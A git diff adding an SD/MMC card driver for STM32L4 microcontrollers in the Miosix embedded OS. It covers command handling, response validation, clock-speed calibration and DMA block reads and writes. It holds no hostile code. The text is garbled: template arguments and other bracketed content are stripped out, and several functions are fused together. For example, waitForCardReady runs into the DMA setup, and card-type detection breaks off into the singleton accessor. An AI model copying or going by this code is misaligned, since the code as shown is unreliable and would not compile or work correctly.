useful for driver development +///\internal Debug macro, for normal conditions +//#define DBG iprintf +#define DBG(x,...) do {} while(0) +///\internal Debug macro, for errors only +//#define DBGERR iprintf +#define DBGERR(x,...) do {} while(0) + +namespace miosix { + +static volatile bool transferError; ///< \internal DMA or SDIO transfer error +static Thread *waiting; ///< \internal Thread waiting for transfer +static unsigned int dmaFlags; ///< \internal DMA status flags +static unsigned int sdioFlags; ///< \internal SDIO status flags + +/** + * \internal + * DMA2 Stream3 interrupt handler actual implementation + */ +void SDMMCirqImpl() +{ + sdioFlags=SDMMC1->STA; + + if(sdioFlags & (SDMMC_STA_RXOVERR | + SDMMC_STA_TXUNDERR | SDMMC_STA_DTIMEOUT | SDMMC_STA_DCRCFAIL | SDMMC_STA_DABORT | SDMMC_STA_IDMATE)) + transferError=true; + + + //Changed: Old value was 0x7ff + SDMMC1->ICR=0x1fe00fff;//Clear flags + + if(!waiting) return; + waiting->IRQwakeup(); + waiting=nullptr; +} + +/* + * Operating voltage of device. It is sent to the SD card to check if it can + * work at this voltage. Range *must* be within 28..36 + * Example 33=3.3v + */ +//static const unsigned char sdVoltage=33; //Is defined in board_settings.h +static const unsigned int sdVoltageMask=1<<(sdVoltage-13); //See OCR reg in SD spec + +/** + * \internal + * Possible state of the cardType variable. + */ +enum CardType +{ + Invalid=0, ///<\internal Invalid card type + MMC=1<<0, ///<\internal if(cardType==MMC) card is an MMC + SDv1=1<<1, ///<\internal if(cardType==SDv1) card is an SDv1 + SDv2=1<<2, ///<\internal if(cardType==SDv2) card is an SDv2 + SDHC=1<<3 ///<\internal if(cardType==SDHC) card is an SDHC +}; + +///\internal Type of card. +static CardType cardType=Invalid; + +//SD card GPIOs +typedef Gpio sdD0; +typedef Gpio sdD1; +typedef Gpio sdD2; +typedef Gpio sdD3; +typedef Gpio sdCLK; +typedef Gpio sdCMD; + +// +// Class CmdResult +// + +/** + * \internal + * Contains the result of an SD/MMC command + */ +class CmdResult +{ +public: + + /** + * \internal + * Possible outcomes of sending a command + */ + enum Error + { + Ok=0, /// No errors + Timeout, /// Timeout while waiting command reply + CRCFail, /// CRC check failed in command reply + RespNotMatch,/// Response index does not match command index + ACMDFail /// Sending CMD55 failed + }; + + /** + * \internal + * Default constructor + */ + CmdResult(): cmd(0), error(Ok), response(0) {} + + /** + * \internal + * Constructor, set the response data + * \param cmd command index of command that was sent + * \param result result of command + */ + CmdResult(unsigned char cmd, Error error): cmd(cmd), error(error), + response(SDMMC1->RESP1) {} + + /** + * \internal + * \return the 32 bit of the response. + * May not be valid if getError()!=Ok or the command does not send a + * response, such as CMD0 + */ + unsigned int getResponse() { return response; } + + /** + * \internal + * \return command index + */ + unsigned char getCmdIndex() { return cmd; } + + /** + * \internal + * \return the error flags of the response + */ + Error getError() { return error; } + + /** + * \internal + * Checks if errors occurred while sending the command. + * \return true if no errors, false otherwise + */ + bool validateError(); + + /** + * \internal + * interprets this->getResponse() as an R1 response, and checks if there are + * errors, or everything is ok + * \return true on success, false on failure + */ + bool validateR1Response(); + + /** + * \internal + * Same as validateR1Response, but can be called with interrupts disabled. + * \return true on success, false on failure + */ + bool IRQvalidateR1Response(); + + /** + * \internal + * interprets this->getResponse() as an R6 response, and checks if there are + * errors, or everything is ok + * \return true on success, false on failure + */ + bool validateR6Response(); + + /** + * \internal + * \return the card state from an R1 or R6 resonse + */ + unsigned char getState(); + +private: + unsigned char cmd; ///<\internal Command index that was sent + Error error; ///<\internal possible error that occurred + unsigned int response; ///<\internal 32bit response +}; + +bool CmdResult::validateError() +{ + switch(error) + { + case Ok: + return true; + case Timeout: + DBGERR("CMD%d: Timeout\n",cmd); + break; + case CRCFail: + DBGERR("CMD%d: CRC Fail\n",cmd); + break; + case RespNotMatch: + DBGERR("CMD%d: Response does not match\n",cmd); + break; + case ACMDFail: + DBGERR("CMD%d: ACMD Fail\n",cmd); + break; + } + return false; +} + +bool CmdResult::validateR1Response() +{ + if(error!=Ok) return validateError(); + //Note: this number is obtained with all the flags of R1 which are errors + //(flagged as E in the SD specification), plus CARD_IS_LOCKED because + //locked card are not supported by this software driver + if((response & 0xfff98008)==0) return true; + DBGERR("CMD%d: R1 response error(s):\n",cmd); + if(response & (1<<31)) DBGERR("Out of range\n"); + if(response & (1<<30)) DBGERR("ADDR error\n"); + if(response & (1<<29)) DBGERR("BLOCKLEN error\n"); + if(response & (1<<28)) DBGERR("ERASE SEQ error\n"); + if(response & (1<<27)) DBGERR("ERASE param\n"); + if(response & (1<<26)) DBGERR("WP violation\n"); + if(response & (1<<25)) DBGERR("card locked\n"); + if(response & (1<<24)) DBGERR("LOCK_UNLOCK failed\n"); + if(response & (1<<23)) DBGERR("command CRC failed\n"); + if(response & (1<<22)) DBGERR("illegal command\n"); + if(response & (1<<21)) DBGERR("ECC fail\n"); + if(response & (1<<20)) DBGERR("card controller error\n"); + if(response & (1<<19)) DBGERR("unknown error\n"); + if(response & (1<<16)) DBGERR("CSD overwrite\n"); + if(response & (1<<15)) DBGERR("WP ERASE skip\n"); + if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); + return false; +} + +bool CmdResult::IRQvalidateR1Response() +{ + if(error!=Ok) return false; + if(response & 0xfff98008) return false; + return true; +} + +bool CmdResult::validateR6Response() +{ + if(error!=Ok) return validateError(); + if((response & 0xe008)==0) return true; + DBGERR("CMD%d: R6 response error(s):\n",cmd); + if(response & (1<<15)) DBGERR("command CRC failed\n"); + if(response & (1<<14)) DBGERR("illegal command\n"); + if(response & (1<<13)) DBGERR("unknown error\n"); + if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); + return false; +} + +unsigned char CmdResult::getState() +{ + unsigned char result=(response>>9) & 0xf; + DBG("CMD%d: State: ",cmd); + switch(result) + { + case 0: DBG("Idle\n"); break; + case 1: DBG("Ready\n"); break; + case 2: DBG("Ident\n"); break; + case 3: DBG("Stby\n"); break; + case 4: DBG("Tran\n"); break; + case 5: DBG("Data\n"); break; + case 6: DBG("Rcv\n"); break; + case 7: DBG("Prg\n"); break; + case 8: DBG("Dis\n"); break; + case 9: DBG("Btst\n"); break; + default: DBG("Unknown\n"); break; + } + return result; +} + +// +// Class Command +// + +/** + * \internal + * This class allows sending commands to an SD or MMC + */ +class Command +{ +public: + + /** + * \internal + * SD/MMC commands + * - bit #7 is @ 1 if a command is an ACMDxx. send() will send the + * sequence CMD55, CMDxx + * - bit from #0 to #5 indicate command index (CMD0..CMD63) + * - bit #6 is don't care + */ + enum CommandType + { + CMD0=0, //GO_IDLE_STATE + CMD2=2, //ALL_SEND_CID + CMD3=3, //SEND_RELATIVE_ADDR + ACMD6=0x80 | 6, //SET_BUS_WIDTH + CMD7=7, //SELECT_DESELECT_CARD + ACMD41=0x80 | 41, //SEND_OP_COND (SD) + CMD8=8, //SEND_IF_COND + CMD9=9, //SEND_CSD + CMD12=12, //STOP_TRANSMISSION + CMD13=13, //SEND_STATUS + CMD16=16, //SET_BLOCKLEN + CMD17=17, //READ_SINGLE_BLOCK + CMD18=18, //READ_MULTIPLE_BLOCK + ACMD23=0x80 | 23, //SET_WR_BLK_ERASE_COUNT (SD) + CMD24=24, //WRITE_BLOCK + CMD25=25, //WRITE_MULTIPLE_BLOCK + CMD55=55 //APP_CMD + }; + + /** + * \internal + * Send a command. + * \param cmd command index (CMD0..CMD63) or ACMDxx command + * \param arg the 32 bit argument to the command + * \return a CmdResult object + */ + static CmdResult send(CommandType cmd, unsigned int arg); + + /** + * \internal + * Set the relative card address, obtained during initialization. + * \param r the card's rca + */ + static void setRca(unsigned short r) { rca=r; } + + /** + * \internal + * \return the card's rca, as set by setRca + */ + static unsigned int getRca() { return static_cast(rca); } + +private: + static unsigned short rca;///<\internal Card's relative address +}; + +CmdResult Command::send(CommandType cmd, unsigned int arg) +{ + unsigned char cc=static_cast(cmd); + //Handle ACMDxx as CMD55, CMDxx + if(cc & 0x80) + { + DBG("ACMD%d\n",cc & 0x3f); + CmdResult r=send(CMD55,(static_cast(rca))<<16); + if(r.validateR1Response()==false) + return CmdResult(cc & 0x3f,CmdResult::ACMDFail); + //Bit 5 @ 1 = next command will be interpreted as ACMD + if((r.getResponse() & (1<<5))==0) + return CmdResult(cc & 0x3f,CmdResult::ACMDFail); + } else DBG("CMD%d\n",cc & 0x3f); + + //Send command + cc &= 0x3f; + unsigned int command= SDMMC_CMD_CPSMEN | static_cast(cc); + if(cc!=CMD0) command |= SDMMC_CMD_WAITRESP_0; //CMD0 has no response + if(cc==CMD2) command |= SDMMC_CMD_WAITRESP_1; //CMD2 has long response + if(cc==CMD9) command |= SDMMC_CMD_WAITRESP_1; //CMD9 has long response + SDMMC1->ARG = arg; + SDMMC1->CMD = command; + + //CMD0 has no response, so wait until it is sent + if(cc==CMD0) + { + for(int i=0;i<500;i++) + { + if(SDMMC1->STA & SDMMC_STA_CMDSENT) + { + SDMMC1->ICR=0x1fe00fff;//Clear flags + return CmdResult(cc,CmdResult::Ok); + } + delayUs(1); + } + SDMMC1->ICR = 0x1fe00fff;//Clear flags + return CmdResult(cc,CmdResult::Timeout); + } + + //Command is not CMD0, so wait a reply + for(int i=0;i<500;i++) + { + unsigned int status=SDMMC1->STA; + if(status & SDMMC_STA_CMDREND) + { + SDMMC1->ICR=0x1fe00fff;//Clear flags + if(SDMMC1->RESPCMD==cc) return CmdResult(cc,CmdResult::Ok); + else return CmdResult(cc,CmdResult::RespNotMatch); + } + if(status & SDMMC_STA_CCRCFAIL) + { + SDMMC1->ICR=SDMMC_ICR_CCRCFAILC; + return CmdResult(cc,CmdResult::CRCFail); + } + if(status & SDMMC_STA_CTIMEOUT) break; + delayUs(1); + } + SDMMC1->ICR=SDMMC_ICR_CTIMEOUTC; + return CmdResult(cc,CmdResult::Timeout); +} + +unsigned short Command::rca=0; + +// +// Class ClockController +// + +/** + * \internal + * This class controls the clock speed of the SDIO peripheral. It originated + * from a previous version of this driver, where the SDIO was used in polled + * mode instead of DMA mode, but has been retained to improve the robustness + * of the driver. + */ +class ClockController +{ +public: + + /** + * \internal. Set a low clock speed of 400KHz or less, used for + * detecting SD/MMC cards. This function as a side effect enables 1bit bus + * width, and disables clock powersave, since it is not allowed by SD spec. + */ + static void setLowSpeedClock() + { + clockReductionAvailable=0; + // No hardware flow control, SDIO_CK generated on rising edge, 1bit bus + // width, no clock bypass, no powersave. + // Set low clock speed 400KHz + SDMMC1->CLKCR=CLOCK_400KHz; + SDMMC1->DTIMER=240000; //Timeout 600ms expressed in SD_CK cycles + } + + /** + * \internal + * Automatically select the data speed. This routine selects the highest + * sustainable data transfer speed. This is done by binary search until + * the highest clock speed that causes no errors is found. + * This function as a side effect enables 4bit bus width, and clock + * powersave. + */ + static void calibrateClockSpeed(SDIODriver *sdio); + + /** + * \internal + * Since clock speed is set dynamically by binary search at runtime, a + * corner case might be that of a clock speed which results in unreliable + * data transfer, that sometimes succeeds, and sometimes fail. + * For maximum robustness, this function is provided to reduce the clock + * speed slightly in case a data transfer should fail after clock + * calibration. To avoid inadvertently considering other kind of issues as + * clock issues, this function can be called only MAX_ALLOWED_REDUCTIONS + * times after clock calibration, subsequent calls will fail. This will + * avoid other issues causing an ever decreasing clock speed. + * \return true on success, false on failure + */ + static bool reduceClockSpeed(); + + /** + * \internal + * Read and write operation do retry during normal use for robustness, but + * during clock claibration they must not retry for speed reasons. This + * member function returns 1 during clock claibration and MAX_RETRY during + * normal use. + */ + static unsigned char getRetryCount() { return retries; } + +private: + /** + * Set SDIO clock speed + * \param clkdiv speed is SDIOCLK/(clkdiv+2) + */ + static void setClockSpeed(unsigned int clkdiv); + + static const unsigned int SDIOCLK=48000000; //On stm32f2 SDIOCLK is always 48MHz + static const unsigned int CLOCK_400KHz=60; //48MHz/(2*60)=400KHz + #ifdef OVERRIDE_SD_CLOCK_DIVIDER_MAX + //Some boards using SDRAM cause SDIO TX Underrun occasionally + static const unsigned int CLOCK_MAX=OVERRIDE_SD_CLOCK_DIVIDER_MAX; + #else //OVERRIDE_SD_CLOCK_DIVIDER_MAX + static const unsigned int CLOCK_MAX=0; //48MHz/(0+2) =24MHz + #endif //OVERRIDE_SD_CLOCK_DIVIDER_MAX + + #ifdef SD_ONE_BIT_DATABUS + ///\internal Clock enabled, bus width 1bit, clock powersave enabled. + static const unsigned int CLKCR_FLAGS= SDMMC_CLKCR_PWRSAV; + #else //SD_ONE_BIT_DATABUS + ///\internal Clock enabled, bus width 4bit, clock powersave enabled. + static const unsigned int CLKCR_FLAGS= //SDIO_CLKCR_CLKEN | + SDMMC_CLKCR_WIDBUS_0 | SDMMC_CLKCR_PWRSAV; + #endif //SD_ONE_BIT_DATABUS + + ///\internal Maximum number of calls to IRQreduceClockSpeed() allowed + static const unsigned char MAX_ALLOWED_REDUCTIONS=1; + + ///\internal value returned by getRetryCount() while *not* calibrating clock. + static const unsigned char MAX_RETRY=10; + + ///\internal Used to allow only one call to reduceClockSpeed() + static unsigned char clockReductionAvailable; + + ///\internal value returned by getRetryCount() + static unsigned char retries; +}; + +void ClockController::calibrateClockSpeed(SDIODriver *sdio) +{ + + //During calibration we call readBlock() which will call reduceClockSpeed() + //so not to invalidate calibration clock reduction must not be available + clockReductionAvailable=0; + retries=1; + + DBG("Automatic speed calibration\n"); + unsigned int buffer[512/sizeof(unsigned int)]; + unsigned int minFreq=CLOCK_400KHz; + unsigned int maxFreq=CLOCK_MAX; + unsigned int selected; + while(minFreq-maxFreq>1) + { + selected=(minFreq+maxFreq)/2; + DBG("Trying CLKCR=%d\n",selected); + setClockSpeed(selected); + if(sdio->readBlock(reinterpret_cast(buffer),512,0)==512) + minFreq=selected; + else maxFreq=selected; + } + //Last round of algorithm + setClockSpeed(maxFreq); + if(sdio->readBlock(reinterpret_cast(buffer),512,0)==512) + { + DBG("Optimal CLKCR=%d\n",maxFreq); + } else { + setClockSpeed(minFreq); + DBG("Optimal CLKCR=%d\n",minFreq); + } + + //Make clock reduction available + clockReductionAvailable=MAX_ALLOWED_REDUCTIONS; + retries=MAX_RETRY; +} + +bool ClockController::reduceClockSpeed() +{ + DBGERR("clock speed reduction requested\n"); + //Ensure this function can be called only a few times + if(clockReductionAvailable==0) return false; + clockReductionAvailable--; + + unsigned int currentClkcr=SDMMC1->CLKCR & 0x3ff; + if(currentClkcr==CLOCK_400KHz) return false; //No lower than this value + + //If the value of clockcr is low, increasing it by one is enough since + //frequency changes a lot, otherwise increase by 2. + if(currentClkcr < 6) currentClkcr++; // was < 10 with the f4 + else currentClkcr+=2; + + setClockSpeed(currentClkcr); + return true; +} + +void ClockController::setClockSpeed(unsigned int clkdiv) +{ + #ifndef SD_KEEP_CARD_SELECTED + SDMMC1->CLKCR = clkdiv | CLKCR_FLAGS; + #else //SD_KEEP_CARD_SELECTED + SDMMC1->CLKCR = clkdiv | CLKCR_FLAGS | SDMMC_CLKCR_HWFC_EN; + #endif //SD_KEEP_CARD_SELECTED + //Timeout 600ms expressed in SD_CK cycles + SDMMC1-> DTIMER = (6*SDIOCLK)/((clkdiv == 0 ? 1 : 2 * clkdiv)*10); +} + +unsigned char ClockController::clockReductionAvailable = false; +unsigned char ClockController::retries = ClockController::MAX_RETRY; + +// +// Data send/receive functions +// + +/** + * \internal + * Wait until the card is ready for data transfer. + * Can be called independently of the card being selected. + * \return true on success, false on failure + */ +static bool waitForCardReady() +{ + //The card may remain busy for up to 500ms and there appears to be no way + //to set an interrupt to wait until it becomes ready again. We can't just + //poll for that long as if a high priority thread is stuck polling all lower + //priority threads block, so we are forced to do a sleep. The initial value + //of 2ms was found to be impacting performance excessively, so we take + //advantage of high resolution timers by sleeping for 200us, and fallback to + //the previous value only for slow configurations + #if !defined(__CODE_IN_XRAM) + const long long sleepTime=200000; + #else + const long long sleepTime=2000000; + #endif + long long timeout=getTime()+1500000000; //Timeout 1.5 second + do { + CmdResult cr=Command::send(Command::CMD13,Command::getRca()<<16); + if(cr.validateR1Response()==false) return false; + //Bit 8 in R1 response means ready for data. + if(cr.getResponse() & (1<<8)) return true; + Thread::nanoSleep(sleepTime); + } while(getTime()ICR=0x1fe00fff; //Clear interrupts + + SDMMC1->IDMACTRL = SDMMC_IDMA_IDMAEN & ~(SDMMC_IDMA_IDMABMODE); //Enable dma without double buffer + SDMMC1->IDMABASE0 = reinterpret_cast(buffer); //Set buffer base address (where to read/write) + + transferError=false; + dmaFlags=sdioFlags=0; + waiting=Thread::getCurrentThread(); +} + +/** + * \internal + * Read a given number of contiguous 512 byte blocks from an SD/MMC card. + * Card must be selected prior to calling this function. + * \param buffer, a buffer whose size is 512*nblk bytes + * \param nblk number of blocks to read. + * \param lba logical block address of the first block to read. + */ +static bool multipleBlockRead(unsigned char *buffer, unsigned int nblk, + unsigned int lba) +{ + if(nblk==0) return true; + while(nblk>32767) + { + if(multipleBlockRead(buffer,32767,lba)==false) return false; + buffer+=32767*512; + nblk-=32767; + lba+=32767; + } + if(waitForCardReady()==false) return false; + + if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC + + dmaTransferCommonSetup(buffer); + + //Data transfer is considered complete once the DMA transfer complete + //interrupt occurs, that happens when the last data was written in the + //buffer. Both SDIO and DMA error interrupts are active to catch errors + SDMMC1->MASK= SDMMC_MASK_DATAENDIE | + SDMMC_MASK_RXOVERRIE | //Interrupt on rx underrun + SDMMC_MASK_TXUNDERRIE | //Interrupt on tx underrun + SDMMC_MASK_DCRCFAILIE | //Interrupt on data CRC fail + SDMMC_MASK_DTIMEOUTIE | //Interrupt on data timeout + SDMMC_MASK_IDMABTCIE | //Interrupt on IDMA events + SDMMC_MASK_DABORTIE; //Interrupt on aborted + SDMMC1->DLEN=nblk*512; + + if(waiting==0) + { + DBGERR("Premature wakeup\n"); + transferError=true; + } + CmdResult cr=Command::send(nblk>1 ? Command::CMD18 : Command::CMD17,lba); + if(cr.validateR1Response()) + { + //Block size 512 bytes, block data xfer, from card to controller + //DTMode set to 00 - Block Data Transfer (Not shown here) + SDMMC1->DCTRL=(9<<4) | SDMMC_DCTRL_DTDIR | SDMMC_DCTRL_DTEN; + DBG("READ STARTED! WAITING FOR INTERRUPT...\n"); + FastGlobalIrqLock dLock; + while(waiting) Thread::IRQglobalIrqUnlockAndWait(dLock); + } else { + transferError=true; + DBG("TRANSFER ERROR\n"); + } + SDMMC1->DCTRL=0; //Disable data path state machine + SDMMC1->MASK=0; + + DBGERR("TRANSFER ERROR: %d\n", transferError); + + // CMD12 is sent to end CMD18 (multiple block read), or to abort an + // unfinished read in case of errors + if(nblk>1 || transferError) + { + cr=Command::send(Command::CMD12,0); + if(transferError) + { + // CMD13 is sent to check the real status of the sdio after CMD12 + // and to reset the card in case if it gets stuck in a illegal state + cr=Command::send(Command::CMD13, Command::getRca()<<16); + } + } + if(transferError || cr.validateR1Response()==false) + { + displayBlockTransferError(); + ClockController::reduceClockSpeed(); + return false; + } + return true; +} + +/** + * \internal + * Write a given number of contiguous 512 byte blocks to an SD/MMC card. + * Card must be selected prior to calling this function. + * \param buffer, a buffer whose size is 512*nblk bytes + * \param nblk number of blocks to write. + * \param lba logical block address of the first block to write. + */ +static bool multipleBlockWrite(const unsigned char *buffer, unsigned int nblk, + unsigned int lba) +{ + if(nblk==0) return true; + while(nblk>32767) + { + if(multipleBlockWrite(buffer,32767,lba)==false) return false; + buffer+=32767*512; + nblk-=32767; + lba+=32767; + } + + if(waitForCardReady()==false) return false; + + if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC + if(nblk>1) + { + CmdResult cr=Command::send(Command::ACMD23,nblk); + if(cr.validateR1Response()==false) return false; + } + + dmaTransferCommonSetup(buffer); + + //Data transfer is considered complete once the SDIO transfer complete + //interrupt occurs, that happens when the last data was written to the SDIO + //Both SDIO and DMA error interrupts are active to catch errors + SDMMC1->MASK=SDMMC_MASK_DATAENDIE | //Interrupt on data end + SDMMC_MASK_RXOVERRIE | //Interrupt on rx underrun + SDMMC_MASK_TXUNDERRIE | //Interrupt on tx underrun + SDMMC_MASK_DCRCFAILIE | //Interrupt on data CRC fail + SDMMC_MASK_DTIMEOUTIE | //Interrupt on data timeout + SDMMC_MASK_IDMABTCIE | //Interrupt on IDMA events + SDMMC_MASK_DABORTIE; + SDMMC1->DLEN=nblk*512; + if(waiting==0) + { + DBGERR("Premature wakeup\n"); + transferError=true; + } + CmdResult cr=Command::send(nblk>1 ? Command::CMD25 : Command::CMD24,lba); + if(cr.validateR1Response()) + { + //Block size 512 bytes, block data xfer, from card to controller + SDMMC1->DCTRL= ((9<<4) | SDMMC_DCTRL_DTEN) & ~(SDMMC_DCTRL_DTDIR); + FastGlobalIrqLock dLock; + while(waiting) Thread::IRQglobalIrqUnlockAndWait(dLock); + } else transferError=true; + + // CMD12 is sent to end CMD25 (multiple block write), or to abort an + // unfinished write in case of errors + if(nblk>1 || transferError) + { + cr=Command::send(Command::CMD12,0); + if(transferError) + { + // CMD13 is sent to check the real status of the sdio after CMD12 + // and to reset the card in case if it gets stuck in a illegal state + cr=Command::send(Command::CMD13, Command::getRca()<<16); + } + } + if(transferError || cr.validateR1Response()==false) + { + displayBlockTransferError(); + ClockController::reduceClockSpeed(); + return false; + } + return true; +} + +// +// Class CardSelector +// + +#ifndef SD_KEEP_CARD_SELECTED +/** + * \internal + * Simple RAII class for selecting an SD/MMC card an automatically deselect it + * at the end of the scope. + */ +class CardSelector +{ +public: + /** + * \internal + * Constructor. Selects the card. + * The result of the select operation is available through its succeded() + * member function + */ + explicit CardSelector() + { + success=Command::send( + Command::CMD7,Command::getRca()<<16).validateR1Response(); + } + + /** + * \internal + * \return true if the card was selected, false on error + */ + bool succeded() { return success; } + + /** + * \internal + * Destructor, ensures that the card is deselected + */ + ~CardSelector() + { + Command::send(Command::CMD7,0); //Deselect card. This will timeout + } + +private: + bool success; +}; +#endif //SD_KEEP_CARD_SELECTED + +// +// Initialization helper functions +// + +/** + * \internal + * Initialzes the SDIO peripheral in the STM32 + */ +static void initSDIOPeripheral() +{ + { + //Doing read-modify-write on RCC->APBENR2 and gpios, better be safe + GlobalIrqLock lock; + RCC->AHB2ENR |= RCC_AHB2ENR_GPIOCEN + | RCC_AHB2ENR_GPIODEN + | RCC_AHB2ENR_SDMMC1EN; + + //RCC->AHB1ENR |= RCC_AHB1ENR_DMA2EN; + RCC->CCIPR |= RCC_CCIPR_CLK48SEL_1; + //RCC_SYNC(); + //RCC_SYNC(); + sdD0::mode(Mode::ALTERNATE); + sdD0::alternateFunction(12); + #ifndef SD_ONE_BIT_DATABUS + sdD1::mode(Mode::ALTERNATE); + sdD1::alternateFunction(12); + sdD2::mode(Mode::ALTERNATE); + sdD2::alternateFunction(12); + sdD3::mode(Mode::ALTERNATE); + sdD3::alternateFunction(12); + #endif //SD_ONE_BIT_DATABUS + sdCLK::mode(Mode::ALTERNATE); + sdCLK::alternateFunction(12); + sdCMD::mode(Mode::ALTERNATE); + sdCMD::alternateFunction(12); + IRQregisterIrq(lock,SDMMC1_IRQn,SDMMCirqImpl); + } + + SDMMC1->POWER=0; //Power off state + delayUs(1); + SDMMC1->CLKCR=0; + SDMMC1->CMD=0; + SDMMC1->DCTRL=0; + SDMMC1->ICR=0x1fe007ff; //Interrupt //0xc007ff + SDMMC1->POWER=SDMMC_POWER_PWRCTRL_1 | SDMMC_POWER_PWRCTRL_0; //Power on state + DBG("\nIDMACTRL: 0x%x\n", SDMMC1->IDMACTRL); + + //This delay is particularly important: when setting the POWER register a + //glitch on the CMD pin happens. This glitch has a fast fall time and a slow + //rise time resembling an RC charge with a ~6us rise time. If the clock is + //started too soon, the card sees a clock pulse while CMD is low, and + //interprets it as a start bit. No, setting POWER to powerup does not + //eliminate the glitch. + delayUs(10); + ClockController::setLowSpeedClock(); + //Wait at least 74 clock cycles before first command + Thread::nanoSleep(250000); +} + +/** + * \internal + * Detect if the card is an SDHC, SDv2, SDv1, MMC + * \return Type of card: (1<<0)=MMC (1<<1)=SDv1 (1<<2)=SDv2 (1<<2)|(1<<3)=SDHC + * or Invalid if card detect failed. + */ +static CardType detectCardType() +{ + const int INIT_TIMEOUT=200; //200*10ms= 2 seconds + CmdResult r=Command::send(Command::CMD8,0x1aa); + if(r.validateError()) + { + //We have an SDv2 card connected + if(r.getResponse()!=0x1aa) + { + DBGERR("CMD8 validation: voltage range fail\n"); + return Invalid; + } + for(int i=0;i SDIODriver::instance() +{ + static KernelMutex m; + static intrusive_ref_ptr instance; + Lock l(m); + if(!instance) instance=new SDIODriver(); + return instance; +} + +ssize_t SDIODriver::readBlock(void* buffer, size_t size, off_t where) +{ + if(where % 512 || size % 512) return -EFAULT; + unsigned int lba=where/512; + unsigned int nSectors=size/512; + Lock l(mutex); + DBG("SDIODriver::readBlock(): nSectors=%d\n",nSectors); + + for(int i=0;i < ClockController::getRetryCount();i++) + { + #ifndef SD_KEEP_CARD_SELECTED + CardSelector selector; + if(selector.succeded()==false) continue; + #endif //SD_KEEP_CARD_SELECTED + bool error=false; + if(multipleBlockRead(reinterpret_cast(buffer), + nSectors,lba)==false) error=true; + + if(error==false) + { + if(i>0) DBGERR("Read: required %d retries\n",i); + return size; + } + } + return -EBADF; +} + +ssize_t SDIODriver::writeBlock(const void* buffer, size_t size, off_t where) +{ + if(where % 512 || size % 512) return -EFAULT; + unsigned int lba=where/512; + unsigned int nSectors=size/512; + Lock l(mutex); + DBG("SDIODriver::writeBlock(): nSectors=%d\n",nSectors); + for(int i=0;i(buffer), + nSectors,lba)==false) error=true; + + if(error==false) + { + if(i>0) DBGERR("Write: required %d retries\n",i); + return size; + } + } + return -EBADF; +} + +int SDIODriver::ioctl(int cmd, void* arg) +{ + DBG("SDIODriver::ioctl()\n"); + if(cmd!=IOCTL_SYNC) return -ENOTTY; + Lock l(mutex); + //Note: no need to select card, since status can be queried even with card + //not selected. + return waitForCardReady() ? 0 : -EFAULT; +} + +SDIODriver::SDIODriver() : Device(Device::BLOCK) +{ + + initSDIOPeripheral(); + + // This is more important than it seems, since CMD55 requires the card's RCA + // as argument. During initalization, after CMD0 the card has an RCA of zero + // so without this line ACMD41 will fail and the card won't be initialized. + Command::setRca(0); + + //Send card reset command + CmdResult r=Command::send(Command::CMD0,0); + if(r.validateError()==false) return; + + cardType=detectCardType(); + if(cardType==Invalid) return; //Card detect failed + if(cardType==MMC) return; //MMC cards currently unsupported + + // Now give an RCA to the card. In theory we should loop and enumerate all + // the cards but this driver supports only one card. + r=Command::send(Command::CMD2,0); + //CMD2 sends R2 response, whose CMDINDEX field is wrong + if(r.getError()!=CmdResult::Ok && r.getError()!=CmdResult::RespNotMatch) + { + r.validateError(); + return; + } + r=Command::send(Command::CMD3,0); + if(r.validateR6Response()==false) return; + Command::setRca(r.getResponse()>>16); + DBG("Got RCA=%u\n",Command::getRca()); + if(Command::getRca()==0) + { + //RCA=0 can't be accepted, since it is used to deselect cards + DBGERR("RCA=0 is invalid\n"); + return; + } + + //Lastly, try selecting the card and configure the latest bits + { + #ifndef SD_KEEP_CARD_SELECTED + CardSelector selector; + if(selector.succeded()==false) return; + #else //SD_KEEP_CARD_SELECTED + //Select card here, and keep it selected indefinitely + r=Command::send(Command::CMD7,Command::getRca()<<16); + if(r.validateR1Response()==false) return; + #endif //SD_KEEP_CARD_SELECTED + + r=Command::send(Command::CMD13,Command::getRca()<<16);//Get status + if(r.validateR1Response()==false) return; + if(r.getState()!=4) //4=Tran state + { + DBGERR("CMD7 was not able to select card\n"); + return; + } + + #ifndef SD_ONE_BIT_DATABUS + r=Command::send(Command::ACMD6,2); //Set 4 bit bus width + if(r.validateR1Response()==false) return; + #endif //SD_ONE_BIT_DATABUS + + if(cardType!=SDHC) + { + r=Command::send(Command::CMD16,512); //Set 512Byte block length + if(r.validateR1Response()==false) return; + } + } + + // Now that card is initialized, perform self calibration of maximum + // possible read/write speed. This as a side effect enables 4bit bus width. + ClockController::calibrateClockSpeed(this); + + + DBG("SDIO init: Success\n"); +} + +} //namespace miosix diff --git a/miosix/arch/drivers/sdmmc/stm32l4_sd.h b/miosix/arch/drivers/sdmmc/stm32l4_sd.h new file mode 100644 index 000000000..a7de4e57e --- /dev/null +++ b/miosix/arch/drivers/sdmmc/stm32l4_sd.h @@ -0,0 +1,64 @@ +/*************************************************************************** + * Copyright (C) 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#ifndef SD_STM32L4_H +#define SD_STM32L4_H + +#include "kernel/sync.h" +#include "filesystem/devfs/devfs.h" +#include "filesystem/ioctl.h" + +namespace miosix { + +/** + * Driver for the SDIO peripheral in STM32F2 and F4 microcontrollers + */ +class SDIODriver : public Device +{ +public: + /** + * \return an instance to this class, singleton + */ + static intrusive_ref_ptr instance(); + + virtual ssize_t readBlock(void *buffer, size_t size, off_t where); + + virtual ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + virtual int ioctl(int cmd, void *arg); +private: + /** + * Constructor + */ + SDIODriver(); + + KernelMutex mutex; +}; + +} //namespace miosix + +#endif //SD_STM32L4_H diff --git 